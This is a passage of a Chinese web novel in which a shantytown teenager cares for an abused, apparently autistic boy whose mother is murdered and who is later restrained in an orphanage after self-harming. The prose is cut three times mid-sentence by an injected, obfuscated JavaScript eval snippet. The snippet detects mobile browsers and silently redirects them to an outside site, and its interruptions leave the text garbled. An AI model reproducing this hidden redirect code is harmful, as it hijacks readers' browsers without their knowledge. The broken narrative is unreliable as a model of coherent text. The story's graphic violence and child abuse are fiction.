李晓言一觉睡到第二天中午,她睁开眼走出房间时,外面的阳光已经从大门和墙壁的小细缝、小窟窿中钻了进来,照了个流光溢彩,满室生辉。 大概是因为心情好的缘故,晓言看这个陋室也觉得顺眼了些。 吴贵芬正好从房间里出来,脸上暖洋洋的,笑得欢喜:“晓言,我把饭菜给你放桌上了,你自己吃,我出去买点米和油,顺道看看你大舅,晚饭在你大舅家吃,你就自行解决吧。” 李晓言“嗯”了一声,问道:“我爸呢?” 吴贵芬:“他去山上收货了,他说他一个人能行,你暑假作业不少,还是先把作业写完再说。” 李晓言点点头,退学的事她昨天静坐在大石头上时就想明白了,她不能被情绪裹着走,老天爷让她遇到那么个老师,就是想玩她,李晓言不能被老天爷耍着玩,除非有一天她发现上学的经济效益不如退学赚钱,那那个时候她就会毅然决然离开学校。 但那种情况下,她就不是被情绪打败做出的弱智决定,而是在深思熟虑下的选择,本质上是完全不同的。 吴贵芬出门了,李晓言迅速吃完饭,洗了碗,便开始做作业,她先做最拿手的数学,有很多题几乎一眼就能看出答案,所以不到一个小时,她就写完了三分之一。 李晓言抬起头看着那些射进来的光柱,她觉得自己应该学学速算,速算这个东西不算难,但确实需要花点时间去捋一捋,也许一个下午再加一个晚上就够了。 那些实实在在进入口袋的钱就是最好的鸡血,一针扎进去,就点燃了李晓言全身的血液。 不过学习之前,她要去解决一下内急的问题。 李晓言每次去那个公厕,都要拿出视死如归的勇气,如果这个棚户区还有什么是她忍不了的,可能就是那个让人毛骨悚然的公厕了。李晓言每去一次都要升起一番雄心壮志——一定要买个带厕所的房。 迅速上完厕所之后,李晓言几乎是以逃难的心情跑出来的,她回去的路上经过那天那条幽深晦暗的小巷,忽然脚步一顿,停了下来。 她转过身,看见小巷的排水沟上面,坐着许铮。 许铮的嘴仍然被贴了胶布,他正专心致志玩着地上的石头,似乎在给那堆石头做排列组合,小巷的边上有一条排废水用的,细细的小沟,许铮坐在那各种颜色混杂的排水沟上,屁股泡在水里,却浑然不觉。 李晓言向他走过去,一直到他面前停下,许铮似有所感,抬起头懵懵的看着李晓言,他的双眼已经冰冷暗淡了许多,不像第一日那般灼灼燃烧。 李晓言不太明白许铮到底得了什么病,傻子她也见过,但大多都会做奇怪的表情,发出奇怪的声音,一眼看上去就知道不对劲。但是许铮并不是,如果不和他交流逗玩,根本看不出他有什么异常,就是一个挺漂亮可爱的孩子,招人喜欢。 但是李晓言总觉得,这小崽子好像能感觉到自己的存在。 她就这么站着,居高临下俯视着小铮,这孩子也不知道哪根筋在电光火石之间接通了,他忽然把双手慢慢往上举,动作迟缓僵硬,最后在空中定住了。 明明白白,清清楚楚,他是想让李晓言抱。 “傻子!”李晓言嘴上有点嫌弃他裤子上沾的脏水,但还是躬下腰去,一手环住小铮的腰,一手环住他的屁股,一把将他抱了起来,手臂瞬间被脏水湿了透彻。 许铮的那根筋不仅被接通了,还被接通个彻底,他被李晓言抱在怀里的一刹那,两只小胳膊自觉自主的环在了李晓言的脖颈上,下巴也顺势耷拉在少女有些纤细硌人的肩膀上。 如果李晓言知道这是许铮人生中第一次主动求抱,她可能就不会这么温柔耐心了,也许会直接扯着他的衣领把他拽起来。 许多年后,当她回过头琢磨时,一直觉得坏就坏在这一次莫名其妙的心软上。 李晓言抱着小铮往他家去,她不知道是哪个屋子,只能依循着那天听到的打骂声做出大致判断。 在走到一间供奉着管仲像的屋前时,李晓言止住了脚步,因为她认出了里面的声音,是许铮母亲的。 不过让她尴尬的是,许铮母亲正在生意进行当中,动静挺大,外面还站着两个抽烟闲聊的男人。 那两个男人一看见李晓言,眼神瞬间就钉在了她身上。 还未长开的花,已然露出了几分别于常人的明艳,让人挪不开眼。 李晓言想也没想,便抱着许铮转头走了,一直走到自己家,她才把许铮放下来。 “站着别动,听得懂吗?”李晓言严肃认真的警告了小铮一句,便去水池边拧开水龙头接了一大壶凉水,然后放在煤炉上,把下面的通风盖扭开。完事后又进房间去翻找衣服,她妈的人生哲理是“只能进不能出”,所以李晓言小时候的衣服也被叠得整整齐齐放在柜子下面,需要翻一番。 许铮站在原地看着李晓言走来走去做着这一切,他能把李晓言这一系列动作的所有细枝末节都印刻在脑海里,清晰的很,但他无法理解这一系列动作的意义。 以前他坐在玻璃城堡里看着外界的一切,虽然都清清楚楚,明明白白,但却无法理解,也没有兴趣理解,他母亲曾经试图教他刷牙洗脸,但教了二十遍后许铮还是一无所知,他妈气急了,最后以一个耳光结束了教学过程,从此将许铮当做一个彻彻底底的傻子,只要保证他活着就行。 而现在,她似乎连许铮是死是活都不那么在意了,因为她发现自己一不小心怀孕了,这让她烦闷暴躁焦虑迷惘,也让她生出了一丝关于人生的希望。 她在那么多客人里看上了一个,居然隐隐动了情,没做安全防护,一来二去就怀上了。那个人家有妻儿,定然是不认的,许铮妈长年在对人生毫无希望的心境里苟活着,肚子里的孩子却让她重燃了对人生小心翼翼的期盼,那般微弱,那般珍贵,那般让她恐惧。 也许是个健康孩子呢,那他就可以去读书,上大学,找个体面的工作,结婚生子,自己也许还能做奶奶…… 她像个护灯人一样小心翼翼看着这道火苗,决定做完今天就闭门养胎,为自己的人生赌一个出路。 …… 水烧开了,呼呼作响,李晓言把洗衣服的大盆子刷吧刷吧,倒上开水,又调和上了凉水,直到水温合适时,她才招手让许铮过去。 但许铮脑子里的那根筋有点负荷过载,处理不了这个招手的讯息,李晓言叹了叹气,走过去把小崽子横腰搂起来,蛮横的扒掉了他那身脏兮兮散着味儿的衣服,把他扔进了水里。 一脱下小铮的衣服,李晓言就倒抽了一口凉气,许铮身上青一道紫一道,有些地方还泛着黑,他妈也是个怕招闲话的,只打身上没露出来的地方,隔着衣服从外面看,根本不知道原来打的这么狠。 李晓言忍着不适和心塞,给小铮擦洗身子,她发现许铮身上除了那些打出来的新伤,胳膊上还有一小块烫伤的疤痕,后背也有一道陈旧的鞭痕,虽然疤痕都淡了许多,但还是看得出痕迹。 “这孩子,到底经历过什么?”李晓言蹲在地上,抬头看着许铮,许铮正好也在低头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445301|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,冰冷的双眼似乎被氤氲的水汽染上了一层暖意,不再那般冰寒。 其实小铮是舒适又快活的,他又一次被这个人从冰窟里捞起来,给扔进了温暖的阳光里。如果他有尾巴,那他现在肯定像个小猫小狗一样舒适慵懒的左右摇摆,来向这个人表示他是欢喜的,但他没有这种示好利器,也不知道示好为何物,所以只能呆呆的看着李晓言,看着这个世界上他觉得最神奇的生物。 李晓言给他洗完澡,换上衣服,看他脚趾甲里都是黑泥,便一并给他剪了,她刚把小铮收拾齐整,就听到门外忽然炸起的拍门声,砰砰重响,不仅把她吓一跳,也把她怀里的许铮吓得一颤。 李晓言走过去开门,看见一个两手提满各种葱姜蒜苗绿菜叶子的矮肥圆,正一脸乐呵呵的站门口傻笑,李晓言从上打下打量了一下高凡,觉出这孙子是用脚踢得门,怪不得那么响。 “傻愣着干啥,快搭把手,累死哥了。” 李晓言把他手上的东西一并扯过来,放进了灶间。 高凡关上门,把屋子左右瞧了瞧,想了半天,终于迸出两个他觉得妥帖的字眼:“还行。” 李晓言笑了一下:“行啦,比草棚强点,好歹有砖有瓦不是?” 高凡:“叔和阿姨呢?” 李晓言:“都有事出去了,就我一个。” 高凡刚想说什么,就看见一个小崽子半探着身子从李晓言的房间往外望,高凡吓了一跳,声音都裂了:“哎呦,这啥玩意儿?” 许铮往后一缩,躲了回去。 李晓言皱着眉对高凡喝道:“能小点声吗,这孩子怕你。” 高凡:“为啥怕我?” 李晓言:“谁知道呢,兴许是因为你长得丑。” 高凡:“……这么小就开始以貌取人,这可不对,得好好教育。” 说完,高凡拿捏着让人恶心想吐的语调,向李晓言房间迈去:“小子,凡哥长得不丑,你多看两眼就知道我帅在哪里了,全校公认的,你晓言姐是校花,凡哥我就是校草。” 李晓言:“……” 许铮一个劲儿往回缩,在其他时候,他一般是对这些生人没有反应的,但今天可能是被热水泡的灵光了一些,居然意识到了高凡的存在,还对他的存在做出了最直接的反应。 高凡也不敢随便上手捏,从上到下瞅了一眼,做出了最直截了当的点评:“好看。” 他侧头问李晓言:“叔在外面的私生子?” 李晓言抬脚就往他身上踹过去,高凡脑子还没转过来,身子就不由自主的跳开了。 他擦了擦额头:“好险好险,看来哥这幅身躯比哥的心还对你有感觉。” 李晓言:“快吐了,您老还是把嘴缝上比较好。” 她走上前两步,胡乱的摸了摸小铮的脑袋,淡淡说道:“邻居的孩子,这孩子可怜,他妈做那行的,这孩子好像脑子也不太好使,我看他坐在臭水沟里,就把他抱回来了,一会儿等他妈办完事再给抱回去。” 高凡有些唏嘘:“哦,原来这么回事。可怜哟,啧啧,我一会儿煮个汤锅,咱俩好久没一起吃过饭了,你看看我手艺如何。还有这个小宝贝儿,吃完饭你就知道你凡哥有多帅了,下次见你凡哥就别躲了行不?” 高凡弯下腰,那张圆润硕大的脸盘定在许铮面前,圆溜溜的眼睛像两个大黑葡萄。许铮有点想笑,但他不知道怎么笑,只是怔怔的看着高凡,面无表情。 高凡等了半天没反应,叹道:“好吧,看在你好看的份上,我当你答应了。” 9. 第 9 章 高凡果然在他爸的折磨下练出了几分火候,一个汤锅煮的色香味俱全,哪怕里面没有肉。 两个人都穷,不舍得买肉,只能把豆腐干权且当肉吞了。小铮一开始被李晓言放在凳子上,但他坐不住,使劲摇动,焦虑不堪,甚至还有伸手弄翻汤锅的趋势。 李晓言和高凡目瞪口呆看了一会儿,高凡一拍桌子:“是了,这孩子既然是个傻子,他妈平时应该是喂他吃饭的,多半还是抱着喂的,我看我们饭馆里那些带孩子来吃饭的女人都是这么干的,虽然那些孩子比咱小铮小得多。但傻子不就和婴儿差不多么?” 高凡就是这么不拿自己当外人,只是一小会儿的功夫,他就咱小铮咱小铮的喊得十分顺溜,让李晓言自叹弗如。 高凡伸手抱许铮,许铮就像一头炸毛小兽一样,嘴里咿咿呀呀喊了出来,摇晃的更厉害,高凡赶紧缩回手去。 “可能是我想错了。”高凡摸摸脑袋,“这可咋整,要不把他放床上,等我们吃完把他送回去,让他妈喂他。” 李晓言看着许铮焦虑暴躁的神色,心里一紧,这孩子什么都不会,长大了要咋整?他妈能养他一辈子吗?他妈要是出啥事走了,这孩子恐怕连从垃圾堆里翻食物都不会。 她突然有些上火,便不顾许铮的挣扎,一把将他抱过去,放在自己的大腿上,拿筷子不轻不重的打了他的手背一下:“给我老实点,这么大了还不会吃东西,还穿开裆裤,我都替你丢人。” 她一手紧搂住许铮的腰,一手握着许铮的右手,带着他转动手里的筷子,试图夹东西。 许铮又要嚎叫,李晓言直截了当的在他耳边吼起来:“闭嘴!闹什么闹,别在我面前装傻,我知道你不傻。” 许铮被耳边这道惊雷给镇住了,果然安生了许多,渐渐不摇不晃了,乖乖坐在李晓言的腿上,任由她的手掌带着自己转动手里的两根棍子,然后夹起菜,李晓言凑上前给吹凉了,再送进他的嘴里。 他妈一直都是用勺给许铮喂饭,因为许铮连洗脸都学不会,所以他妈就直接放弃了教他用筷子吃饭这么复杂的工程。 许铮第一次握着两根棍子夹菜,觉得有种说不出的神奇。 两根棍子,怎么就能夹起这么多东西呢?他看着面前的高凡一筷子能夹起一大堆,觉得神奇的不得了,他想自己试试,但被李晓言的手握着,又有点舍不得,李晓言的手掌比许铮要大得多,几乎能把许铮的小爪子完全包裹在里面。 这让许铮觉得很心安,很高兴。 高凡一直觉得他这位朋友李晓言是阎罗王家哪位亲戚投生的,不管长得多美,脸上总是带着一股生人勿近的煞气。现在看她坐在自己面前,一口一口教个傻孩子用筷子吃饭,就觉得搞笑,场面有点滑稽,尤其李晓言的脸上并没有半点慈祥温柔的模样,还是皱着眉,一脸不耐烦,似乎下一秒就能把许铮连人带筷子一道扔出去。 而她怀里的那个小崽子,居然被骂了两句后就开始乖乖吃饭了,高凡觉得这个倒霉孩子可能真是看脸下菜碟,眼里只有美丑,不看内在品质。 高凡既心酸又乐颠颠的吃完这顿饭,他一看时间,快开晚饭了,就赶紧拔腿跑了,留下李晓言一个人刷锅洗碗。 李晓言干完活,就把许铮的脏衣服装口袋里,抱着许铮回家,他家的门大开着,他母亲已经忙完了事,坐在凳子上发呆,显得疲惫又哀婉。 她穿着低胸短裙,头发湿漉漉的耷拉在肩膀两侧,额头上还有未干的汗珠,她一只手贴在自己的肚子上,双眼无神的看着地面。 李晓言没有进门,她在门口把许铮放下,把脏衣服放在门边:“那个,阿姨,你家小铮刚才滚脏水了,我给弄回去换了身干净衣服,这是他的脏衣服,给您搁门边了。” 许铮妈赶紧站起来,有些慌张,尴尬的笑了一下:“谢谢了,这孩子又给你添麻烦了。” “不麻烦。” 李晓言毕竟十三岁了,看着许铮妈穿的这么暴露很尴尬,赶紧转身要走,她只走一步,就被许铮一把抱住了大腿,李晓言低头看那孩子,虽然他脸上木木呆呆的,但李晓言好像能从他眼神里读出点讯息,那是一种恐惧。 许铮妈赶紧把他从李晓言腿上扯下来,抱在怀里:“真不好意思,给你添麻烦了,改天我把衣服洗了再还给你,真是谢谢了。” 李晓言愣了一下:“不还也行。”她看了许铮一眼,就扭头走了,这孩子命苦,但她能做的只有这么多,人活在世上,有贵命,有贱命,得认。 她自己对命运下了战书,却依然觉得,那看不见的命运之手,强大到让人窒息。 这次过后,差不多一个月,李晓言都没有再见过许铮。她爸这次进了五百多的货回来,一家三口白天黑夜连轴转,本着只要钱不要命的精神开始了他们的小买卖。 白天,李晓言帮着她妈守摊,因为她能算清帐;晚上,李晓言帮着她爸守夜,怀里永远揣了一把刀,框下面还有长棍,她只能赶在几个空闲时间段抓紧睡觉,她爸妈虽然心疼,嘴上却不说,因为他们知道还非得这孩子在场不可。 就这样没日没夜忙了一个月,他们成功赚了六百多,吴贵芬终于去银行开了个账户,存进了第一笔款项。 李晓言顶着两个黑眼圈,有些憔悴,但精神却很好,这是她第一次尝试赚钱,第一次堂堂正正面对社会,这些辛苦的经历让她原本暴躁愤怒的心变得踏实了一些,安抚了少女焦虑敏感的神经。 暑假还剩半个月的时候,她被勒令在家里写作业,不再出去摆摊。她妈已经学会算帐了,晚上也是风平浪静的,没有出过岔子,她想着自己确实该写作业了,就留在家里。 谁知道当天晚上就出了事,不过出事的不是他们家,而是许铮家。 当天晚上三点多的时候,她在街边的竹席上睡觉,虽然白天要在家里写作业,但到底不放心她父母守夜摊,就索性拿了竹席被子在街边的屋檐下安了窝。一阵警笛声划破夜空的宁静,把李晓言从睡梦中惊醒,她一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445302|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳起来,条件反射性的摸出枕头下的刀,却看见街上风平浪静,她父母也昂着头打望警车去的方向。 这个三岔路口离棚户区很近,他们看见警车拐进了棚户区入口,在那棵歪脖子树前停了下来。 吴贵芬:“出了啥事?” 李长青摇摇头,李晓言直觉有些不好,对她父母说道:“我去看看。” 吴贵芬:“别去,万一有坏人呢?” 李晓言心里跳的慌,没理会她妈,伸手一摇便跑了:“我就远远看一眼。” 她跑回棚户区时,已经有好几个人从睡梦中被惊醒,围在了巷子口,李晓言眼皮跳的厉害,要往巷子里面钻,山东大娘一把扯住她:“别去,太恐怖了,你一个小女娃别看。” 李晓言倒吸一口凉气,站在一旁的刘家豪一贯镇静的脸也变成了青白色。 “许铮妈被人杀了……很残忍……你还是别看了。” 李晓言的脑子还没反应过来,脚却已经开始往里面去了,她走到许铮家门口,门口被拉了警戒线,但里面的场景还是看的清清楚楚。 许铮妈倒在地上,鼓着眼睛,满地都是血,她被人开肠破肚,脖颈上也被捅了几个血窟窿,死状极惨。 在她脚边,是坐在血泊中的许铮,他像从红染缸里刚被捞出来似的,身上穿的还是那天李晓言给他的衣服,他低着头一动不动,直勾勾看着地上还未凝固的血液。 李晓言脑袋一热,提起警戒线大步走了进去,一个警察急忙拉住她:“干什么,出去!” 李晓言:“那孩子怎么样,还活着么?” 警察:“你认识他?” 李晓言:“邻居。” 警察伸出自己的手,上面有个沾了血的牙印:“那孩子咬的,他还活着,不过不让抱,你先出去,别妨碍我们查案。” 李晓言没搭理他,又朝许铮走了两步,她蹲下身,朝许铮轻声说道:“许铮,还认识我不,我是李晓言。” 警察要去把李晓言拉走,却被他上级挡下了:“先别管她,那孩子谁也认不出,让她试试,也许能让那孩子清醒过来……那孩子可能目睹了全过程,得让他开口才行。” 许铮仍旧呆呆的看着地面,没有动静,李晓言小心翼翼的伸出手,去碰了碰许铮被血糊住的脸蛋,许铮猛地抬头,一口咬住了李晓言的手。 一阵剧痛从手掌直窜到心里。 李晓言闷哼一声,没有骂出来,她忍着痛没有去踹许铮,也没有一巴掌打崩他的牙,许铮好像着了魔一般,死死叼住李晓言的手,似乎要把她的肉撕咬下来。 李晓言都快疼哭了,她另一只手慢慢揉着许铮的后脖梗,努力让声音柔和一些:“没事了,没事了,别害怕,没事了。” 她也不知道说什么好,只能一个劲儿的说“没事了”,说了十几句后,许铮忽然松了口,呆呆的看着李晓言,像半夜里突然见到鬼一样。 然后,他伸出还在滴血的双臂,停滞在了半空中。 10. 第 10 章 李晓言一句话也没说,沉默了几秒钟,她就像那天一样,一把抱起了许铮,许铮把双手环在她的脖颈上,把脸埋进了她的肩窝。 满身的血腥味,熏得李晓言作呕想吐,但她此时此刻身心都像塌陷一般,空落落没个着落,怀里的小崽子把她搂的紧紧的,瑟瑟发抖,好像这个人是他这个世界上唯一的依靠,李晓言从来没有被人这么需要和依靠过,心里好像被人狠狠抽出了一条根,紧紧的埋在了大地上。 医院救护车来了,医生想抱许铮,却拉扯不下来,李晓言抱着许铮一起上了救护车,李晓言爸妈背着背篓回来看情况,看着满身是血的许铮紧紧搂着李晓言,李晓言的脸颊脖颈也沾了许多血,顿时头皮发麻,吓得说不出话来。 救护车走了,许铮妈的尸首也被运走了,这场带血的噩梦笼罩在整个棚户区的上空,和着后半夜的雨水化作漫天血雨,浇出了满地腥臭。 许铮经过检查,没有发现伤口,显然罪犯没有杀他的打算,警察试图让许铮开口,却发现他连一句话也不会说,就放弃了从他这里寻找线索的打算。 不过就在案发的第三天,罪犯倒是自己来警察局自首了,是个瘦小佝偻的老头。他说他是被害人的公公,当年被害人杀了他儿子,他找了将近三年才找到这个女人,事先观察了半个多月,准备好了作案工具,一步到位结果了这个女人。 至于开肠破肚,是因为这个女人临死前还在求他放自己一年,让她把肚子里的孩子生下来,她再去他儿子坟前自杀谢罪。 这个老头一下就气疯了,想着他儿子惨死在这个女人手上,她却在外面跟别人怀上了野种,就下了重手。 至于许铮,到底是他孙子,他下不去手。 他唯一的儿子死了,老伴年前也病死了,他已经生无可恋,拔掉心里面这根刺以后,他把女人的钱翻出来,好吃好喝了两天,就决定来自首了,只盼警察能给他个枪毙,让他能快点离开这个丝毫不值得留恋的世界。 他从兜里掏出一叠钱,递给警察:“这是没花完的,麻烦你们给我孙子,那孩子从小就傻,不知道以后要怎么活,这钱我没敢多花,麻烦你们交给他。” 这老头好像一夜之间也变傻了,许铮那孩子就算拿到钱,恐怕也会扔进火里当纸烧,但他实在无心再管其他人其他事。这世界的甜太少,苦太多,他当了一辈子农民,倾家荡产给儿子娶了个媳妇儿,没想到儿子居然被这个女人杀了,老伴哭瞎了眼,身子彻底垮了,他拿了一辈子锄头,没想过要拿刀,但实在没办法,生活太苦了,太苦了,他不拿刀没办法,他只能这么做。 他希望孙子能有一点甜,但他已经不知道这世上是不是真的有甜这个东西存在了。 结案以后,许铮被送去了福利院,他这种情况没有人愿意收养。他自己不会吃饭,而且似乎是为了绝食抗议,哪怕福利院的阿姨喂他吃饭,他也绝不张嘴。 最后实在没辙了,阿姨们把他的嘴掰开,硬把汤饭灌下去,才没让他绝食成功。 半个多月过去,棚户区的人虽然还在讨论这件血腥惨案,但也渐渐淡了下来。这个棚户区里有病死的,有烧炭自杀的,有吸毒得艾滋病死的……这里的居民已经见识过许多死法,一半心还是热的,另一半早已麻木。 学校开学后,李晓言又回到了早六晚十一的生活,她让她爸别摆夜摊了,但在利润的诱惑下,她爸哪舍得放弃。白天的生意不好做,还要和别人抢生意,李晓言他们守夜摊只遇到过一回小型斗殴事件,对他们没有什么影响,就逐渐放开了胆子。 李长青:“他们打他们的,关我们什么事,他们也不会和我一个卖水果的纠缠,你顾好自己的成绩,少管这些事。” 李晓言爸二两白酒下肚,把李晓言的又一次劝说堵了回去。 李晓言无奈,只有放弃,心里暗暗祈祷千万别出什么事。 她周末去福利院看过许铮,但她没进门,只在大门口站着,看着那群在院子里玩耍的孩子。 许铮明显融不进去,他一个人坐在一棵大树下发呆,他现在不掏泥巴了,只是发呆,从早上发呆到晚上,李晓言一共去过四次,前三次看许铮穿的还是正常裤子,第四次去的时候他们就给他换成了开裆裤。 李晓言暗暗叹一口气,走了。 她也不明白自己为什么不进去,或许是不敢进去,她永远忘不了许铮那天浑身是血紧紧搂着她发抖的身子,她比谁都明白这孩子需要她,但她负不起这个责任,也不敢负这个责任。 初二的课程繁重了许多,李晓言一旦决定好好学,就一直捏着鼻子忍着不适天天看那些语文英语,一个月后的月考,她成功把这两科拱上了及格线,心里别提有多得意。 她那个班主任还是时不时拿眼睛斜视她,但李晓言岿然不动,全然当她不存在。这个暑假,李晓言睡了一个多月的大街,做了一个多月的生意,还目睹过一场杀人案,她的心好像一夜之间被催熟了一半,四周这些同学和老师,对她来说,好像只是纷繁世界的一粒尘芥,变得渺小了许多。 眼神也好,话语也好,她都不是那么在意了。 转眼便是第二个月月考,李晓言的语文英语又进步了十几分,数学物理的成绩依旧是将近变态的满分,她还报名参加了省里的物理竞赛,几乎把所有时间都用在了学业上。 她已经一个多月没去看过许铮了,她除了打定主意要学好,同时也打定主意要把许铮从心里面抹去。既然负不起责任,那这种纠结就只能是一种痛苦和折磨。李晓言的思维模式和数学公式一样,直接又干脆,要么好好照顾,要么彻底遗忘,纠结万分的情感模式不适合她。 就这样没日没夜熬到了期末,李晓言临门踩了一脚油,冲进了年级前十,物理竞赛经过初试复试的折磨,也获得了省里的二等奖。班主任对她的态度再次一百八十度转变,天天笑眯眯的,看她的眼神好似看一个金元宝,但李晓言不怎么搭理她,她拿了成绩后径直回家,把成绩单拍到了饭桌上。 李晓言妈欢喜的蹦跶起来:“还是我闺女聪明有本事,我早就知道你只要想学,就一定能学好。” 李晓言爸端着脸点点头:“不错,下次争取进前五。” 没过两天,李晓言和刘家豪的成绩就传遍了整个棚户区,成为了区里最热的新闻。 人人都说,棚户区出了两个金蛋。 刘家豪也考进了李晓言的那个学校,入学考年级第三,期末考年级第二,他比李晓言的成绩还要耀眼,但整个人看上去好像更加乱糟糟了。 一般学生上了初中,男女性别意识越来越强,不管男生女生,都会越来越关注自己的穿着打扮,开始爱美了。但这个“一般”显然要把刘家豪排除在外,他整个人木讷沉静,一双眼深邃的像个山里的古潭,他那头堪比金毛狮王的头发就好像从来没有梳理过一样,鞋子也是脏脏的,指甲缝里经常有淤泥。 他有个妹妹叫刘宁,比他晚出生几个小时,但整个人的行径却和他完全不同。刘宁出门前总是要收拾齐整,头发要弄出几个花样比较一番,从中选择一个最美的,鞋子每天都擦洗的干干净净,书包上也挂了小女生最爱的那些装饰物。 单从五官上来说,这兄妹俩长得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445303|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还挺像,唯一的不同就是刘家豪是内双眼皮,刘宁是外双眼皮,区别也不大,如果刘家豪好好捯饬捯饬,必然是个小帅哥。 刘宁每天差不多和刘家豪、李晓言同时出门,再和他们顺路一起去学校,在众人的侧目而视和交头接耳中,笑靥如花的和李晓言道别,各回各的教室。刘宁喜欢和李晓言走一道,虽然她打扮打扮也是个小美女,但和李晓言这种一站那儿就像吸铁石一样吸引所有目光的大美人没法比,和李晓言站一起时,她才能感受到被所有人瞩目的感觉。 李晓言和刘宁虽然常常一起走,但一路上两人几乎没什么话说,和刘家豪倒是能说一路。两人能从棚户区争论到学校,从棚户区的某人某事再到学校某个科目老师,刘家豪的思维模式也是条分缕析式的,而且涉猎极广,他似乎什么杂书都看,也总能从这些杂书中提炼出一些有价值的讯息。 期末考试前一天,他和李晓言碰到,说了一些让李晓言震惊的讯息。 “我最近看了一本医学杂志,上面看到一个病例和许铮很像,那本杂志上说这种病叫做自闭症,是一辈子都治不好的,患者的身体指标都正常,但就像住在一个孤独的城堡里,周围的讯息对他们来说是片段性的,很难形成连贯的逻辑。这种病,如果小时候没有好好引导,长大了病情会越来越重,而且这个病的表现形式纷繁复杂,在不同人身上有不同的表现,不同阶段还会有不同的表现,有些还会自残。” 李晓言停下了脚步,低着头沉默不语。 刘家豪扶了扶眼镜,继续说道:“但这些孩子里面,有一小部分是可以治好的,他们会对某个东西,某件事情,某些人有感应,那就是治疗他们的突破口,可以借敏感点尝试着把他们从封闭的城堡里拉出来。我听许铮妈说过,许铮去检查的时候身体指标都很正常,我觉得他应该不是脑子有问题,而是得了自闭症。” 李晓言听着“自闭症”三个字,实在有点接受无能,在她的认知里,人可以闭上嘴巴,闭上眼睛,也可以捏着鼻子,捂住耳朵。 但,人能关闭自己的脑袋和心吗? 李晓言冷笑一声:“他还真是出息大了,能自动关闭内脏器官了。” 刘家豪已经习惯李晓言这种混蛋式的说话方式,没搭理她,继续道:“我觉得小铮的敏感点就是你。” 李晓言转过头看刘家豪,双眼掠过一道利光。 刘家豪:“你来之前,小铮对谁都没反应,但他见到你的第一面,就对你的行为做出了反应,这实在无法用常理来解释。我看的那本杂志上,那个孩子是对拼图有反应,他第一次拿到拼图,就能很快拼出复杂的图形,他父母和医生,就是根据这个对他进行训练的,现在他已经能勉强说话和自理了,还考进了大学。” 听到“考进大学”四个字,李晓言的目光陡然明亮了许多,她有些不敢相信,颤着声问道:“真的?……但,这也只是你的猜想。” 刘家豪:“不错,考上大学是杂志上写的,小铮得的是自闭症这一点的确是我的猜想,所以我也只是把这个讯息分享给你,讯息的正确与否,要经过验证。” 他看着李晓言不自在的表情,已经对李晓言的心思猜出了一些,他伸手在李晓言的肩膀上拍一下,像个老陈持重的大人那般说道:“你不要有压力,你不欠他的,没必要为他负责,你们也不是有血缘关系的亲姐弟,只是见过几面而已,真不用在意。” 刘家豪说完就走了,留下李晓言一个人站在那里脑子发懵,刘家豪说的轻描淡写,但他就像举起一块千斤重石,往李晓言身上砸了下去,把她压得喘不过气来。 11. 第 11 章 一个人活在这世上,第一需求永远是谋生,只有在吃饱穿暖的情况下,没有站在让人焦虑恐惧的悬崖边时,心里才能一点点榨出对周遭人的爱和关心。 李晓言是个站在悬崖边求生存的薄命人,不是个衣食无忧的大小姐,即便她想伸出手把许铮从深渊里捞出来,也始终没有那个勇气。 何况,她不是一个人站在悬崖边,还有她的父母。 李晓言强迫自己集中精力,终于把两天的期末考给熬过去了,她看着外面越刮越狠的寒风,光秃秃的树枝,满眼望去的灰绿,决定无论如何也要去看看许铮。 临近过年,李晓言没钱给许铮买礼物,便把自己以前穿过的小棉袄翻出来,总共只有两件,她一并塞进书包里,就跑去了福利院。 李晓言妈是个刀子嘴豆腐心,她知道她女儿去福利院看过小铮几回,也没说什么,还让她拿上几个苹果带给许铮。但李晓言觉得带去了也只是便宜其他人,便没有拿,只是背着小棉袄跑了。 因为天气太冷,福利院的院子里空荡荡的,那些孩子都在空教室里玩,李晓言说明来意后,工作人员便带她去找许铮。 许铮没有和那些小孩在一起,他被单独留在了一个小小的屋子里,屋子阴暗湿冷,只有两张小床,许铮躺在其中一张床上,手脚都被绳子绑住了。 工作人员有些无奈,她把许铮的袖子撩上去,许铮的手臂露出来后,上面全是一道又一道的血痕,有新的,有旧的,鲜红和暗红交织,像个粗制滥造的蜘蛛网一样,有些触目惊心。 工作人员叹叹气:“腿上也有。这孩子最开始只是不说话,但半个月前突然有了自残行为,晚上偶尔会大喊大叫,我们院长想把他转到精神病院去,但精神病院的医生检查完说这孩子没问题,可能是让他母亲的事给刺激的,就不收他。我们也没办法,只好把他绑起来。” 李晓言眉头紧锁看着熟睡的许铮,小孩瘦了许多,脸上也开始爬上了阴郁之色,哪怕是在睡梦里,他的嘴唇还是紧绷着,好像在强忍着某种痛苦。 